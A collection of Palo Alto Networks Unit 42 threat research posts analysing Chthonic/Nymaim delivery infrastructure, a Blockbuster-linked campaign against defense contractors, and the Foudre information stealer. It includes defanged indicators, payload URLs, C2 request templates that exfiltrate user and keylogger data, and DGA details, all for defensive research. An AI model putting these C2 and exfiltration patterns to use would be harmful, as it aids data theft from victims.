As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered one remote code execution vulnerabilities affecting Microsoft Internet Explorer 9 and 10 that were addressed in Microsoft’s August 2017 monthly security update release:

CVE-2017-8651: Hui Gao

Traps, Palo Alto Networks advanced endpoint solution, can block memory corruption based exploits of this nature.

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

The Curious Case of Notepad and Chthonic: Exposing a Malicious Infrastructure

Posted on by Jeff White

Recently, I’ve been investigating malware utilizing PowerShell and have spent a considerable amount of time refining ways to identify new variants of attacks as they appear. This posting is a follow-up of my previous work on this subject in  "Pulling Back the Curtains on EncodedCommand PowerShell Attacks".

In a sample I recently analyzed, something stood out as extremely suspicious which led me down a rabbit hole, uncovering malicious infrastructure supporting Chthonic, Nymaim, and other malware and malicious websites.

Throughout this blog post I present my analysis and thought process during this research, but if you would just like a list of the findings, they are over on our Unit42 GitHub.

One of these things is not like the others…

Most commonly, PowerShell is launched from a Microsoft Office document that uses a VBA macro to launch PowerShell to perform something malicious – typically downloading the “real” malware to run. I focused my hunting on the PowerShell activity with Palo Alto Networks AutoFocus to determine whether it’s worth digging into further based on “uniqueness” and functionality.

In this case, the first sample I looked at stood out for another reason entirely. If you take a look at the below PowerShell, you’ll quickly understand why.

This code downloads a file from the legitimate Notepad++ website. My initial thought was the worst-case scenario – they’ve been compromised and are distributing malware! I immediately downloaded the file from the website, but everything looked normal. Of course, I had to investigate further.

The sample stayed true to the previous outline I laid out for these attacks: the Microsoft Excel document appeared to be a lure about financial information, specifically a VAT invoice written in Polish as shown below.

cht_001

Looking under the hood we see the VBA code that builds the PowerShell command and launches it but something seemed off. There are a ton of functions that are clearly decoding information from arrays after which it executes an already decoded PowerShell command. I decided to debug the macro and see exactly what it’s doing before I made any decisions.

Chthonic2

If you look at the above image, there are five things to note.

1. The variable ‘horrorr’ (double ‘r’) is the result of all of the previously mentioned decoding functions. This builds a PowerShell command.

2.You can see ‘Shelleeeee horrorr, 0’ commented out, I believe this was intended to launch the previous PowerShell command.

3. The ‘Debug.Print horrorr’ prints the content of that variable in the ‘Immediate’ area shown in the screenshot. The domain in this command is NOT ‘notepad-plus-plus.org’ and can be seen below.

4. The ‘MsgBox’ will pop-up and not display anything, because the variable passed is ‘horror’ (1 ‘r’) along with the message ‘Do you really think I'm not a virus?’ in Polish.

5. The hard coded PowerShell command with ‘notepad-plus-plus.org’ will run.

The most likely conclusion that can be drawn here is that an analyst or researcher obtained this file, modified it to see the content (misspelling the variable name along the way) post-decoding, and uploaded it to see what it did in a sandbox. To be sure though, I needed to find other samples and see how they stacked up against this one.

Going back to the PowerShell command, the initial reason I stopped to look at it was due to the way they concatenated variables to form the download command and output. This also provides a perfect pivot point to hunt for samples. Using the below string to search Process Activity in AutoFocus revealed 171 samples.

The dates were all fairly recent, having been received in the past few days since the beginning of August. The documents shared the same themes for lures but the VBA macro and resulting PowerShell were more along the lines of what I expected.

For sample “538ff577a80748d87b5e738e95c8edd2bd54ea406fe3a75bf452714b17528a87” the following is an excerpt from the VBA macro building the PowerShell command.

Along with the subsequent Process Activity using the newly built PowerShell command, which aligns with what was commented out of the first sample analyzed.

Given this, I iterated over all 171 samples and extracted the following URL’s where PowerShell is downloading a payload.

Pass the Chthonic

Going back to the Process Activity, we can see the SHA256 value of each downloaded file and compile a list of hashes for further pivoting as shown below.

cht_004

After iterating over the 171 samples, we’re left with this list of hashes for the downloaded files. Note that there are fewer payloads than there are samples, indicating many of the documents download the same payload.

Below is a table with the compile date and some PDB strings found within a few of the binaries. Most of the compile times are within the past two months, with 6 in August and a couple from as recently as two days ago at the time of this writing.

SHA256 Compile Date PDB String
29c7740f487a461a96fad1c8db3921ccca8cc3e7548d44016da64cf402a475ad 2016-12-10 01
d5e56b9b5f52293b209a60c2ccd0ade6c883f9d3ec09571a336a3a4d4c79134b 2016-12-10 03 C:\RAMDrive\Charles\heaven\reams\Teac.pdb
dd5f237153856d19cf20e80ff8238ca42047113c44fae27b5c3ad00be2755eea 2016-12-10 16 C:\Cleaner\amuse\rang\AutoPopulate\la.pdb
a5001e9b29078f532b1a094c8c16226d20c03922e37a4fca2e9172350bc160a0 2016-12-20 18
8284ec768a06b606044defe2c2da708ca6b3b51f8e58cb66f61bfca56157bc88 2017-07-05 10
f0ce51eb0e6c33fdb8e1ccb36b9f42139c1dfc58d243195aedc869c7551a5f89 2017-07-09 20 C:\TableAdapter\encyclopedia\Parik.pdb
145d47f4c79206c6c9f74b0ab76c33ad0fd40ac6724b4fac6f06afec47b307c6 2017-07-10 08 C:\ayakhnin\reprductive\distortedc.pdb
dc8f34829d5fede991b478cf9117fb18c32d639573a827227b2fc50f0b475085 2017-07-11 01 C:\positioning\scrapping\Szets\thi.pdb
7fe1069c118611113b4e34685e7ee58cb469bda4aa66a22db10842c95f332c77 2017-07-11 02 C:\NeXT\volatile\legacyExchangeDNs.pdb
5edf117e7f8cd176b1efd0b5fd40c6cd530699e7a280c5c7113d06e9c21d6976 2017-07-12 23
2a80fdda87127bdc56fd35c3e04eb64a01a159b7b574177e2e346439c97b770a 2017-07-13 00
a9021e253ae52122cbcc2284b88270ceda8ad9647515d6cca96db264a76583f5 2017-07-18 00
dd639d76ff6f33bbfaf3bd398056cf4e95e27822bd9476340c7703f5b38e0183 2017-07-18 00
e5a00b49d4ab3e5a3a8f60278b9295f3d252e3e04dadec2624bb4dcb2eb0fada 2017-07-24 17
6263730ef54fbed0c2d3a7c6106b6e8b12a6b2855a03e7caa8fb184ed1eabeb2 2017-07-24 22 C:\Snapshot\Diskette\hiding\ROCKMA.pdb
43bfaf9a2a4d46695bb313a32d88586c510d040844f29852c755845a5a09d9df 2017-07-25 06
b41660db6dcb0d3c7b17f98eae3141924c8c0ee980501ce541b42dc766f85628 2017-07-25 06 C:\mdb\Changed\Container\praise.pdb
9acdad02ca8ded6043ab52b4a7fb2baac3a08c9f978ce9da2eb51c816a9e7a2e 2017-07-25 07
2ddaa30ba3c3e625e21eb7ce7b93671ad53326ef8b6e2bc20bc0d2de72a3929d 2017-07-25 20 C:\helpers\better\Expr\Eight\DS.pdb
b836576877b2fcb3cacec370e5e6a029431f59d5070da89d94200619641ca0c4 2017-07-26 12 C:\V\regard\violates\update\AMBW\a.pdb
0972fc9602b00595e1022d9cfe7e9c9530d4e9adb5786fea830324b3f7ff4448 2017-07-26 20
2c258ac862d5e31d8921b64cfa7e5a9cd95cca5643c9d51db4c2fcbe75fa957a 2017-07-27 01 C:\executablery\constructed\IIc.pdb
dd9c558ba58ac81a2142ecb308ac8d0f044c7059a039d2e367024d953cd14a00 2017-07-27 02
cb3173a820ac392005de650bbd1dd24543a91e72d4d56300a7795e887a8323b2 2017-07-31 14 C:\letterbxing\EVP\Chices\legit.pdb
a636f49814ea6603534f780b83a5d0388f5a5d0eb848901e1e1bf2d19dd84f05 2017-07-31 18 C:\Biomuse\moment\705\cnvincing.pdb
677dd11912a0f13311d025f88caabeeeb1bda27c7c1b5c78cffca36de46e8560 2017-07-31 21
fdedf0f90d42d3779b07951d1e8826c7015b3f3e724ab89e350c9608e1f23852 2017-08-01 21
142bf7f47bfbd592583fbcfa22a25462df13da46451b17bb984d50ade68a5b17 2017-08-02 09
6f4b2c95b1a0f320da1b1eaa918c338c0bab5cddabe169f12ee734243ed8bba8 2017-08-02 12 C:\cataloging\Dr\VarianceShadows11.pdb
fd5fd7058cf157ea249d4dcba71331f0041b7cf8fd635f37ad13aed1b06bebf2 2017-08-04 02 C:\dumplings\That\BIT\Warez\loc.pdb
5785c2d68d6f669b96c3f31065f0d9804d2ab1f333a90d225bd993e66656b7d9 2017-08-07 12 C:\Lgisys\hypothesized\donatedc.pdb
675719a9366386034c285e99bf33a1a8bafc7644874b758f307d9a288e95bdbd 2017-08-07 17 C:\work\cr\nata\cpp\seven\seven\release\seven.pdb

At least one of the binaries compiled in August had a PDB string I was able to locate online in a collection of other PDB files, so they may be introducing their malicious code into these files before compiling someone else’s project.

Once the file has been downloaded and executed, the new process will launch a legitimate executable, such as “msiexec.exe”, and inject code into it. This code will then download further payloads through a POST request to various websites. This pattern is shared across the original samples.

cht_005

These HTTP requests match known patterns for a banking Trojan named Chthonic, which is a variant of Zeus. A good write-up from 2014 on the malware can be found in this writeup from Yury Namestnikov, Vladimir Kuskov, Oleg Kupreev at Kaspersky Lab here and indicates that the returned data is an RC4 encrypted loader that sets-up the main Chthonic module which can download additional modules or malware.

A dab of Nymaim

Iterating once again over the 171 samples and scraping out the HTTP POST requests, I ended up with the below set of domains.

Using this as the next pivot, we have 6,034 unique samples that get returned in AutoFocus having made POST requests to these sites. Additionally, we can see there were at least 3 very large campaigns where Palo Alto Networks saw activity to these sites in July.
cht_006

From these distribution sites, we can see that 5,520 samples are making HTTP requests to them and these samples have been identified as another downloader Trojan named Nymaim.

The majority of the overall samples came from the following four sites.

The ‘ejtmjealr[.]com’ domain is particularly interesting due to a similar domain, ‘ejdqzkd[.]com’ being discussed by Jarosław Jedynak of CERT.PL in this analysis of Nymaim from earlier in the year. They go on to discuss how Nymaim uses a static configuration to contact that domain, which will return IP’s that go into a DGA and output the actual IP addresses needed for C2 communication. Ben Baker, Edmund Brumaghin and Jonah Samost of Talos have a fantastic write-up of this process here.

Raising the dead – Infrastructure Archeology

To continue my analysis, I shifted focus to Maltego so as to visually graph the infrastructure. For this task, I used PassiveTotal’s Passive DNS and AutoFocus Maltego transforms. We see below the passive resolutions for these domains and how it reveals a number of IP addresses being shared between the four domains identified above.

cht_007

All of the 707 IP addresses can be found here. Note that while these IP’s have been found to be hosting malicious content, this could change in the future.

Pivoting off the five highlighted IP’s above with a shared infrastructure, I pulled the reverse DNS to see what other sites may be present. The below is a sampling of the domains returned through this process.

cht_008

The “idXXXXX.top” pattern immediately stands out and may suggest a pattern in the static configuration for the initial domains used by the DGA for Nymaim since the previous two started with “ejX.com.

Given the level of overlap already, I proceeded to grab all of the passive DNS available for each of the 707 IP addresses. A full list of the domains can be seen here. The below Maltego graph is used to simply illustrate the two distinct clusters of infrastructure that appeared and their interconnectedness.

cht_010

From the first cluster on the left, if we sort by incoming links per node a pattern stands out in the domain names looking similar to the previously mentioned Nymaim ones. In the below image, the top domains are sorted by incoming links on the right side. Each link is a corresponding IP address and show that these domains have been rotated quite a bit between the infrastructure.

cht_011

A quick search with the AutoFocus transform to pull tag information shows these are specifically related to Nymaim, most likely for the DGA seed; however, looking at domains with less links, other malware families begin to emerge.

The cluster on the right is actually collapsing one collection of entities due to the sheer size of it. Below is the collection expanded in all of its glory.

cht_012

Below are the domain names linked to the singular IP address in the center.

cht_021

All of these connected domains follow a pattern similar to phishing attacks masquerading as legitimate services – in this case “online.verify[.]paypal” (588) and “hmrc.secure[.]refund” (1021).

In addition to domains of that type, there is evidence of other malware distribution being carried out on this infrastructure. Collapsing the collection back down, note the two domains “brontorittoozzo[.]com” and “randomessstioprottoy[.]net” that fall outside of the collection due to more infrastructure connections.

cht_013

A quick search for these domains will land you on fellow Unit 42 researcher Brad Duncan’s malware-traffic-analysis (MTA) site for post “2017-06-22 - LOCKY MALSPAM - PDF ATTACHMENTS WITH EMBEDDED .DOCM FILES” in which he lists out URL’s found within malicious Microsoft Word documents that download Locky as shown below.

cht_014

In some of the other smaller clusters, you’ll find groupings of like malicious sites.

For example, there is a group with gems like “premarket[.]ws” like you see below being hosted on this shared infrastructure, which is a forum for less than legal services.

cht_015

Along with sites like “slilpp[.]ws” which is another less than reputable site as shown below.

cht_018

Which ironically has a Twitter support account that specifically states the following.

cht_019

And yet another here below…

cht_020

There are 632 people happily following along with relatively easy to track down accounts and usernames. A substantial amount of these accounts, on quick review, appear to follow the typical Nigerian cybercrime patterns detailed in other blogs.

Finally, there were multiple clusters of domains used by the Hancitor malware dropper to host the initial check-in and tracking as shown here.

cht_016

Which can be seen as having been used in a campaign on July 03, 2017 via a post on MTA below.

cht_017

Conclusion

By pivoting off of one sample we were able to zoom out and identify a sizable infrastructure of what appears to be 707 IP’s and 2,611 domains being utilized for malicious activity.

As such, these findings represent a collection of compromised websites, compromised registrar accounts used to spin up subdomains, domains used by malware DGA’s, phishing kits, carding forums, malware C2 sites, and a slew of other domains that revolve around criminal activity.

Hopefully this analysis has been helpful in understanding how truly connected some of these infrastructures can be and how with a little digging, you can uncover a substantial amount of operationally useful indicators to protect you and yours.

AutoFocus users can identify and track these threats using the Chthonic, Nymaim, and NotepadInfrastructure tags.

 

The Blockbuster Saga Continues

Posted on by Anthony Kasza

Unit 42 researchers at Palo Alto Networks have discovered new attack activity targeting individuals involved with United States defense contractors. Through analysis of malicious code, files, and infrastructure it is clear the group behind this campaign is either directly responsible for or has cooperated with the group which conducted Operation Blockbuster Sequel and, ultimately, Operation Blockbuster (originally outlined  by researchers from Novetta). The threat actors are reusing tools, techniques, and procedures which overlap throughout these operations with little variance. Attacks originating from this threat group have not ceased since our previous report (from April of 2017) and have continued through July of 2017.

New Activity

Recently, we’ve identified weaponized Microsoft Office Document files which use the same malicious macros as attacks from earlier this year. Based on the contents of these latest decoy documents which are displayed to a victim after opening the weaponized document the attackers have switched targets from Korean language speakers to English language speakers. Most notably, decoy document themes now include job role descriptions and internal policies from US defense contractors.

The following image shows the content of one of the recent decoy documents (de2d458c8e4befcd478a0010789d80997793790b18a347d10a595d6e87d91f34). It is a job description at a defense contractor.

Blockbuster_1

The following images also shows the contents of a recent decoy document (062aadf3eb69686f4881860d88ce472e6b1c07e1f586d840dd2ee1f7b76cabe7). It contains an exact copy of a publicly available job description, including typos, at a US defense contractor.

Blockbuster_2

The weaponized documents have been hosted on systems which we believe have likely been compromised and repurposed. Two of the URL paths used to host the weaponized documents on the compromised systems are exact matches (event/careers/jobs/description/docs). The payloads delivered by the weaponized documents are extremely similar to the payloads delivered by weaponized documents detailed in our April 2017 report on the threat group's activity.

For a more comprehensive understanding of the relationships between samples and infrastructure used in the recent activity see the following network graph.

blockbuster saga

The document metadata Author "ISkyISea" is used across multiple weaponized document files. IPv4 addresses (210.202.40[.]35) hosting the weaponized documents have also been hardcoded as command and control servers for previous samples (16c3a7f143e831dd0481d2d57aae885090e22ec55cc8282009f641755d423fcd).

Ties to Blockbuster

The source code used in the macros embedded in the weaponized documents described above was also detailed in a previous report where it was included in testing documents uploaded to VirusTotal. This reuse of macro source code, XOR keys used within the macro to decode implant payloads, and the functional overlap in the payloads the macros write to disk demonstrates the continued use of this tool set by this threat group. The use of an automated tool to build the weaponized documents would explain the common but not consistent reuse of metadata, payloads, and XOR keys within the documents.

Other similarities between the previously reported activity and this new activity can be seen within the PE payloads written to disk by the malicious documents. The payloads function similarly to other implants associated with this threat group. The use of a fake TLS communications protocol, encoded strings within samples, filenames and contents of batch files embedded within implants, as well implants beaconing directly to IPv4 addresses (and not resolving domains for command and control) are all known techniques associated with the threat group. These tactics have changed very little since the original Operation Blockbuster.

In addition to tool reuse, infrastructure overlaps also exist. URLs used for hosting the malicious documents and IPv4 addresses used for command and control overlap with infrastructure previously used by the group.

Final Thoughts

The techniques and tactics the group uses have changed little in recent attacks. Tool and infrastructure overlaps with previous campaigns are apparent. Given that the threat actors have continued operations despite their discovery and public exposure it is likely they will continue to operate and launch targeted campaigns.

Palo Alto Networks researchers will continue to monitor this group’s activities and stay abreast to additional attacks using this tool set.

  • The malicious files describe in this report are flagged as malicious by WildFire and in Threat Prevention.
  • AutoFocus users can learn more about the threat group and their indicators by examining the BlockBuster_Sequel tag.

Indicators of Compromise

SHA256

4d4465bd9a57c7a3c0b80fa3282697554a1419794afa36e544a4ae06d60c1615

f390ef86a4ad92dde125c983e6470f08344b9eaa14c17a1e6c4bb7ebfa7c4ec9

acfae7e2fdda02e81b3e03f8c30741744d629cd672db424027f7caa59c975897

7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd

e09224a24a14a08c6fcb79b00b4a7b3097c84f805f5f2adefe2f7d04d7b4a8ee

062aadf3eb69686f4881860d88ce472e6b1c07e1f586d840dd2ee1f7b76cabe7

c63a415d23fc4ab10ad3acfdd47d42b5c7444604485ab45147277cca82fffb34

16c3a7f143e831dd0481d2d57aae885090e22ec55cc8282009f641755d423fcd

de2d458c8e4befcd478a0010789d80997793790b18a347d10a595d6e87d91f34

2f133525f76ab0ebb0b370601673361253074c337f0b0895d0f0cb5bc261cfcb

e83a08bcb4353bfd6edcdedbc9ead9ab179a620e15155b60d18153bed9892f38

6f673981892701d42159489c1b2614c098a04e4674b23e1cd0fd8911766e71a0

ad075279d2ee6958105889d852e0d7f4266f746cb0078ac1b362f05a45b5828d

1288e105c83a6f4bbad8471a9b5bedafeea684a8d8b73a1a7518137d446c2e1e

IPv4

104.192.193[.]149

176.35.250[.]93

213.152.51[.]169

108.222.149[.]173

197.246.6[.]83

118.140.97[.]6

210.202.40[.]35

59.90.93[.]97

107.6.12[.]135

URLs

http://210.202.40[.]35/CKRQST/event/careers/jobs/description/docs/NGC1398.doc

http://210.202.40[.]35/CKRQST/Company/HR/Position/lm/L1915.doc

http://104.192.193[.]149/Event/careers/jobs/description/docs/LJC077.doc

http://lansingturbo[.]org/docs/WebDAV.exe

Microsoft Honors 5 Unit 42 Researchers for Vulnerability Research

Posted on by Samantha Pierre

Every year at Black Hat, Microsoft publishes the Microsoft Security Response Center (MSRC) Bounty Program Top 100, a list of the top contributors to the company’s vulnerabilities disclosure program. This year, five Palo Alto Networks threat intelligence researchers were recognized at Black Hat USA 2017 for their contributions to preventing security incidents and advancing Microsoft product security. Congratulations to Bo Qu, Tao Yan, Hui Gao, Tongbo Luo, and Jin Chen!

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Android and other ecosystems. By proactively identifying vulnerabilities, developing protections for our customers, and sharing them with Microsoft for patching, we are removing weapons used by attackers that compromise enterprise, government and service provider networks.

MSRCTop100_1

MSRCTop100_2

LabyREnth CTF 2017 Winners!

Posted on by Richard Wartell

The LabyREnth Capture the Flag (CTF) challenge is officially over! We’d like to congratulate our winners from this year’s CTF!

Position Player Handle Prize
1st Place akg92 $10,000
2nd Place Riatre $7,000
3rd Place zetatwo $5,000
1st to finish Binary Track jinmo123 $2,000
1st to finish Threat Track Riatre $2,000
1st to finish Programming Track lyc12345 $2,000
1st to finish Docs Track nneonneo $2,000
1st to finish Mobile Track n0n3m4dev $2,000
1st to finish Random 1 nneonneo Electronics
1st to finish Random 2 rtk2017 Electronics
1st to finish Random 3 redbolt Electronics
1st to finish Random 4 vient Electronics
1st to finish Random 5 lonestar Electronics
1st to finish Random 6 zetatwo Electronics

 

In addition, new and improved stats and blogs pages are up! Visit the Honor Roll, Challenge Stats, Geographic Stats and Blogs to see all the information about this year’s CTF.

Thank you to everyone who played, and congrats to those that escaped!

Prince of Persia – Ride the Lightning: Infy returns as “Foudre”

Posted on by Tomer Bar

Introduction

In February 2017, we observed an evolution of the “Infy” malware that we're calling "Foudre" ("lightning", in French). The actors appear to have learned from our previous takedown and sinkholing of their Command and Control (C2) infrastructure – Foudre incorporates new anti-takeover techniques in an attempt to avoid their C2 domains being sinkholed as we did in 2016.

We documented our original research into the decade-old campaign using the Infy malware in May 2016. A month after publishing that research, we detailed our takeover and sinkholing of the actor’s C2 servers. In July 2016, at Blackhat U.S., Claudio Guarnieri & Collin Anderson presented evidence that a subset of the C2 domains redirecting to our sinkhole were blocked by DNS tampering and HTTP filtering by the Telecommunication Company of Iran (AS12880), preventing Iran-domestic access to our sinkhole.

Below, we document these changes to the malware, and highlight some ongoing mistakes and how we leveraged them to learn more about this campaign.

Foudre

This new version of Infy uses a window name “Foudre” for keylogging recording (Figure 1).

Princeofpersia_1

Figure 1 "Foudre" window for keylogging

The logic and structure of Foudre is very similar to the original Infy malware. Most of the code remains the original Delphi programming, with an additional crypto library, and a new de-obfuscation algorithm.

Foudre’s capabilities

Foudre is, like its Infy predecessors, an information stealer. It includes a keylogger, and captures clipboard contents on a ten-second cycle. It collates system information including process list, installed antivirus, cookies, and other browser data.

The malware checks for internet connectivity simply by looking for an “HTTP 200” response to a connection to google.com. It includes the ability to check for and download any updates to itself.

This “improved Infy” determines the C2 domain name using a Domain Generation Algorithm (DGA). It then validates that the C2 domain is authentic. The C2 returns a signature file, which the malware decrypts and compares it with a locally-stored validation file.

Once the validity of the C2 is confirmed, stolen data is exfiltrated with a simple HTTP POST.

Infection

The initial infection vector is a classic spear-phishing email, including a self-executable attachment. When clicked, this executable installs an executable loader, a malware DLL, and a decoy readme file (very typical of Infy).

For first run, the loader calls the DLL with export D1 for setup, creating the installation folder "%all users%\app data\SnailDriver V<version number>". The loader copies itself as “config.exe”, and the DLL with random name (for example “q.d”), to this folder. The version number (for example “1.49”) and DLL name vary between Foudre samples.

The loader writes itself to autostart in the registry. The DLL is loaded by rundll32.exe only after restarting, when the “lp.ini” file in the same folder contains a numeric value.

Foudre uses a similar mechanism as Infy to check if the computer is already infected. It checks for the existence of a specific window “foudre<trojan version number>” with window class “TNRRDPKE”.

The final version of the original Infy malware that we observed was 31. We have so far observed Foudre versions 1 and 2 (Figure 2).

Princeofpersia_2

Figure 2 "Foudre" version, window exists check mechanism

Also embedded is the following German text (Figure 3):

"Sie soll Auskunft über Zschäpes Verhalten in der Untersuchungshaft geben - daran dürften auch die Opferanwälte Interesse haben."

Translated to English:

“She is supposed to provide information about Zschaepe's behavior in the investigative detention period, which should also be of interest for the victims' attorneys.”.

Princeofpersia_3

Figure 3 Embedded German text

Beate Zschäpe is a German right-wing extremist and an alleged member of the Neo-Nazi terror group National Socialist Underground (NSU).

The text appears to be copied verbatim from the caption to the first photograph in this news article from February 2017: http://www.sueddeutsche.de/politik/nsu-prozess-zschaepes-verteidiger-will-jva-beamtin-als-zeugin-hoeren-1.3379516 (Figure 4).

Princeofpersia_4

Figure 4 Newspaper article source of embedded text

We saw similar embedded-text snippets in Infy samples, in German, Dutch, and English. It is unclear what the function of this embedded text is.

String de-obfuscation

Princeofpersia_5

Figure 5 String De-obfuscation function

This Python script de-obfuscates a single string:

This IDA Python script adds comments to IDA with all clear text strings:

C2 Defense

Learning from our takedown of the actor’s previous C2 infrastructure, this version implements two new C2 mechanisms in an attempt to avoid C2 takeover.

They are now using DGA for C2 domains. They have also implemented an RSA signature verifying algorithm to check the veracity of a C2 domain.

Domain Generation Algorithm

The domain name is calculated using this algorithm:

(Thanks to Palo Alto Networks researcher Esmid idrizovic for reversing this). The following script can be used to generate domain names using this algorithm:

Princeofpersia_6

Figure 6 CRC32 code in the DGA algorithm

Previous and current C2 domains are detailed in Appendix I. All point at the same C2 server on 198.252.108[.]158, located in Canada, using DNS servers ns1.2daa46f1[.]space and ns2.2daa46f1[.]space.

The DNS RNAME is henry55.iname[.]com, though we were not able to find any other reference to this email address outside of the context of this campaign.

C2 signature verification

Foudre uses the lockbox3 Delphi library to verify the C2:

  1. Download signature file from the generated domain name C2 with GET request:
    GET /de/?d=2017149&t=2017%2D5%2D29%2D%2D12%2D16%2D33
    d= {year}{number of days since the beginning of the year}
    t = Current time, urlencoded.
  2. Save the signature in %appdata%\sig.tmp.
  3. Write the clear text string
    {domainname}{year}{number of days since the beginning of the year}
    in %appdata%\dom.tmp.
    The current date is downloaded from http://feeds.skynews[.]com/feeds/rss/home.xml <lastBuildDate> field.
  4. Decrypt the signature file with the public key (stored in %all users%\application data\snailDriver V<version>\pub.key)
  5. Compare the result with the dom.tmp clear text string.

Princeofpersia_7

Figure 7 Download Signature Verification

After the domain is verified, it checks if a new trojan update version is needed with these posts:

 

http://<C2domain>/2014/?c=<computername>&u=<username>&v=<version>&s=<password>&f=<folder>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

http://<C2domain>/2015/?c=<computername>&u=<username>&v=<version>&s=<password>&f=<folder>&mi=<machineguid_urlencoded>&b=<32/64bit>&t=<time_urlencoded>

The first request (2014 folder) downloads any new trojan version to %temp%\gtsdch32.tmp. The second request (2015 folder) downloads a second signature file to %temp%\gtsdci32.tmp.

The malware then performs a second RSA signature verification using the public key. If the verification is successful, the new trojan version (gtsdch32.tmp) is executed with this command line:

gtsdch32.tmp -sp/set -pRBA4b5a98Q

We observed a very similar command structure in the original Infy malware:
"sp/ins -pBA5a88E".

One of the update parameters (download and execute) contains references indicating that there is also a 64bit version of Foudre.

We also found that the request <C2>/f/?d=<filename> is redirected to <C2>/f/<filename>.tmp. This parameter is not supported by the agent, so it is likely a server-side redirection used by the update mechanism.

The malware then encrypts the keylogger data and system information, and sends to the C2 with this post:

http://<C2>/en/d=<date>,text=<data>

Mapping the victims

We forecast one of the DGA domain names and registered it before the adversary.

The victims attempted to connect to a C2 on that domain, but without the RSA private key we could not verify our domain to them. However, we are able to map the victim locations using GeoIP (Figure 8).

We note a preponderance of Iranian-domestic victims, very reminiscent of the Infy campaigns. Efforts against the United States and Iraq are also familiar. And once again, the very small number of targets hints at a non-financial motivation.

One of the Iraq victims uses an IP in the same class C network as one of an observed Infy victim, suggesting that the adversary is targeting the same specific organization, or even computer.

Princeofpersia_8

Figure 8 Geographic spread of victims

Although without the RSA private key, we were unable to establish communications with any victims, we discovered that by sending an invalid signature file to the victim, owing to a lack of input validation of the signature file content/size, we can crash the rundll32 process running the Foudre malicious DLL, disabling the infection until the victim reboots.

Conclusion

In our Prince of Persia blog, we noted that this campaign had been active for at least a decade. We followed up with our Prince of Persia: Game Over blog, documenting our takedown and sinkholing of the adversary’s C2 infrastructure.

Regarding the actions by the Telecommunication Company of Iran to prevent the C2s from resolving to our sinkhole,  Guarnieri & Anderson note “The filtering policy indicates that Iranian authorities had specifically intervened to block access to the command and control domains of a state ­aligned intrusion campaign at a country level”.

We shouldn’t be surprised then to see Infy return – fundamentally the same malware, targeting the same victims.

The actors understand that they needed a more robust C2 infrastructure to prevent infiltration and takedown. DGA adds some resilience, but is not impervious to takeover.

However, using digital signing is an effective C2 defense mechanism. Without access to the private keys, it’s not possible to impersonate a C2 even if a DGA domain is registered by a researcher. It’s possible that the private keys are held locally on the C2 server, but without access to the C2 we can’t confirm this particular potential vulnerability in their infrastructure.

Prince of Persia is persistent, indeed.

Coverage

Palo Alto Networks customers are protected from this threat in the following ways:

  1. WildFire accurately identifies all malware samples related to this operation as malicious.
  2. Traps prevents this threat on endpoints, based upon WildFire prevention.
  3. Domains used by this operation have been flagged as malicious in Threat Prevention.

AutoFocus users can view malware related to this attack using the “Foudre” tag.

IOCs can be found in the appendices of this report.

Appendix I – C2 infrastructure IoCs

As of time of publishing, the actor had registered DGA domains corresponding to dates through end-July 2017. Although the DGA algorithm allows the Top-Level Domains (TLDs) of “.space”, ”.net” and “.top”, we note predominantly “.space” domain registrations, just one “.top”, and no “.net”. Of special interest is multiple “.site” domains resolving to the C2 IP address. We suspect that this may be different malware – possibly, as we saw with the previous Prince of Persia investigations, an as-yet unidentified more full-featured Infy/Foudre variant.

ns1.2daa46f1[.]space

ns2.2daa46f1[.]space

017eab31[.]space

01ead12b[.]space

0ca0453a[.]site

14c7e2dc[.]space

15bb747b[.]site

15ce27c5[.]site

16e53040[.]space

17ecf559[.]site

1cb3c4c0[.]space

1d4ee030[.]space

23dafa1e[.]space

2daa46f1[.]space

341a436d[.]space

3828b6ed[.]site

39451f31[.]space

3a6e08b4[.]site

3c6e6571[.]space

3e8718c3[.]site

3f4572f4[.]site

431d73fb[.]space

43ec206d[.]top

4b6955e7[.]space

4e422fa7[.]space

4f2f867b[.]site

5aad7667[.]space

60ebc5cf[.]site

61e200d6[.]space

62c91753[.]site

63c0d24a[.]space

6bb4f456[.]space

76ede1bd[.]space

7ba775ac[.]site

8447b18a[.]space

869182ff[.]site

884efdfb[.]space

8cc7767f[.]site

8dceb366[.]space

8ee5a4e3[.]site

8fec61fa[.]space

9155ccba[.]space

9877fa8b[.]space

98e38091[.]space

9c1f58ab[.]site

9f233843[.]space

a20af0d2[.]space

a367590e[.]site

a4a55efc[.]space

a64c234e[.]site

b4a3174b[.]space

c4c9e3c4[.]space

c5aeee9c[.]site

d14b13d8[.]site

d260045d[.]space

d3a26e6a[.]space

d4606998[.]site

d50dc044[.]space

d74b7e1d[.]space

e00dc810[.]space

e652fc2c[.]space

eb18683d[.]site

f196b269[.]site

f8eb516c[.]space

f9e29475[.]site

fac983f0[.]space

fbc046e9[.]site

198.252.108[.]158 Hawkhost Canada – Dedicated hosting (all current resolutions malicious).

Note that we identified several other IP addresses historically related to some of these domains, but research concludes that these are registrar-default hosts rather than C2 servers.

Appendix II – Hashes

2b37ce9e31625d8b9e51b88418d4bf38ed28c77d98ca59a09daab01be36d405a
4d51a0ea4ecc62456295873ff135e4d94d5899c4de749621bafcedbf4417c472
7ce2c5111e3560aa6036f98b48ceafe83aa1ac3d3b33392835316c859970f8bc
7e73a727dc8f3c48e58468c3fd0a193a027d085f25fa274a6e187cf503f01f74
da228831089c56743d1fbc8ef156c672017cdf46a322d847a270b9907def53a5
6bc9f6ac2f6688ed63baa29913eaf8c64738cf19933d974d25a0c26b7d01b9ac
7c6206eaf0c5c9c6c8d8586a626b49575942572c51458575e51cba72ba2096a4
db605d501d3a5ca2b0e3d8296d552fbbf048ee831be21efca407c45bf794b109

Appendix III – RSA signature verifying

Replicating the malicious c2 server domain 39451f31[.]space:

dom file:

39451f31.space2017138

sig file:

